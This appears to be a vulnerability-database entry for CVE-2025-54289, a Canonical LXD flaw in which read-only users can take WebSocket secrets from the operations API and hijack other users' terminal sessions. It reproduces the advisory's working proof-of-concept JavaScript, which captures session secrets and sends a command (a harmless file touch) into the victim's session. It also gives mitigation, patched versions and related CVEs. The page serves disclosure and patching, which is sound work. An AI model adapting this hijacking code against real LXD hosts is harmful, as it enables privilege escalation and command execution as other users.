CVE-2025-54289Medium· 6.8▾ SunlitCanonical LXD Vulnerable to Privilege Escalation via WebSocket Connection Hijacking in Operations API
▾ Sunlit zone — Low / medium · no exploitation signal
impact 37.4 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 9.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
0.2%
0.2% → 0.2%
Last analysed / modified upstream
LXD's operations API includes secret values necessary for WebSocket connections when retrieving information about running operations. These secret values are used for authentication of WebSocket connections for terminal and console sessions.
Therefore, attackers with only read permissions can use secret values obtained from the operations API to hijack terminal or console sessions opened by other users. Through this hijacking, attackers can execute arbitrary commands inside instances with the victim's privileges.
Note that this JavaScript code uses the /1.0/events API to capture execution events for terminal startup, establishes a websocket connection with that secret, and sends touch /tmp/xxx to the data channel.
(async () => {
class LXDEventsSession {
constructor(callback) {
this.wsBase =
`wss://${window.location.host}/1.0/events?type=operation&all-p
rojects=true`;
this.eventsConn = new WebSocket(this.wsBase);
this.eventsConn.onopen = (event) => {
console.log('Events conn Opened');
};
this.eventsConn.onmessage = (event) => {
callback(event);
};
}}
class LXDWebSocketSession {
constructor(operationId, secrets) {
this.operationId = operationId;
this.secrets = secrets;
this.wsBase =
`wss://${window.location.host}/1.0/operations/${operationId}/w
ebsocket`;
this.connections = {};
this.connections.data = new
WebSocket(`${this.wsBase}?secret=${this.secrets['0']}`);
this.connections.data.onopen = (event) => {
console.log('Data Opened');
this.connections.data.send(new
TextEncoder().encode('touch /tmp/xxx\r'));
}
this.connections.data.onmessage = (event) => {
console.log('[Data]', event.data);
};
this.connections.control = new
WebSocket(`${this.wsBase}?secret=${this.secrets.control}`);
this.connections.control.onopen = (event) => {
console.log('Control Opened');
}
this.connections.control.onmessage = (event) => {
console.log('[Control]', event.data);
};
}
close() {
Object.values(this.connections).forEach(ws => {
if (ws.readyState === WebSocket.OPEN) {
ws.close();
}
});
}
}
const sessions = [];
new LXDEventsSession( (event) => {
const op = JSON.parse(event.data);
const opId = op.metadata.id;const secrets = op.metadata.metadata.fds;
for(const session of sessions){
if(session.operationId === opId){
return;
}
}
sessions.push(new LXDWebSocketSession(opId, secrets))
});
})();
$ ls -la /tmp/xxx
Attack conditions require that the attacker has read permissions for the project, the victim (a user with higher privileges) opens a terminal or console session, and the attacker hijacks the WebSocket connection at the appropriate timing. Therefore, while successful attacks result in privilege escalation, the attack timing is very critical, making the realistic risk of attack relatively low.
As a fundamental countermeasure, it is recommended to exclude WebSocket connection secret information from operations API responses for read-only users. In the current implementation, the operations API returns all operation information (including secret values) regardless of permission level, which violates the principle of least privilege.
Specifically, in lxd/operations.go, user permissions should be checked, and for users with read-only permissions, WebSocket-related secrets (fds field) should be excluded from operation metadata. This prevents attackers from obtaining secret values, making WebSocket connection hijacking impossible.
| LXD Series | Status |
|---|---|
| 6 | Fixed in LXD 6.5 |
| 5.21 | Fixed in LXD 5.21.4 |
| 5.0 | Ignored - Not critical |
| 4.0 | Ignored - EOL and not critical |
Reported by GMO Flatt Security Inc.
github.com/canonical/lxd >= 4.0, < 5.21.4github.com/canonical/lxd >= 6.0, < 6.5github.com/canonical/lxd >= 0.0.0-20200331193331-03aab09f5b5c, < 0.0.0-20250827065555-0494f5d47e41Upgrade to a patched release:
github.com/canonical/lxd 5.21.4github.com/canonical/lxd 6.5github.com/canonical/lxd 0.0.0-20250827065555-0494f5d47e41Connected by shared product, vendor, weakness, or advisory.
CVE-2026-34178Critical· 9.1LXD: Importing a crafted backup leads to project restriction bypass
CVE-2026-34177Critical· 9.1LXD: VM lowlevel restriction bypass via raw.apparmor and raw.qemu.conf
CVE-2026-34179Critical· 9.1LXD: Update of type field in restricted TLS certificate allows privilege escalation to cluster admin
CVE-2025-54286High· 8.3Canonical LXD CSRF Vulnerability When Using Client Certificate Authentication with the LXD-UI
CVE-2025-54288Medium· 4.1Canonical LXD Source Container Identification Vulnerability via cmdline Spoofing in devLXD Server
CVE-2025-54293Medium· 6.5Canonical LXD Path Traversal Vulnerability in Instance Log File Retrieval Function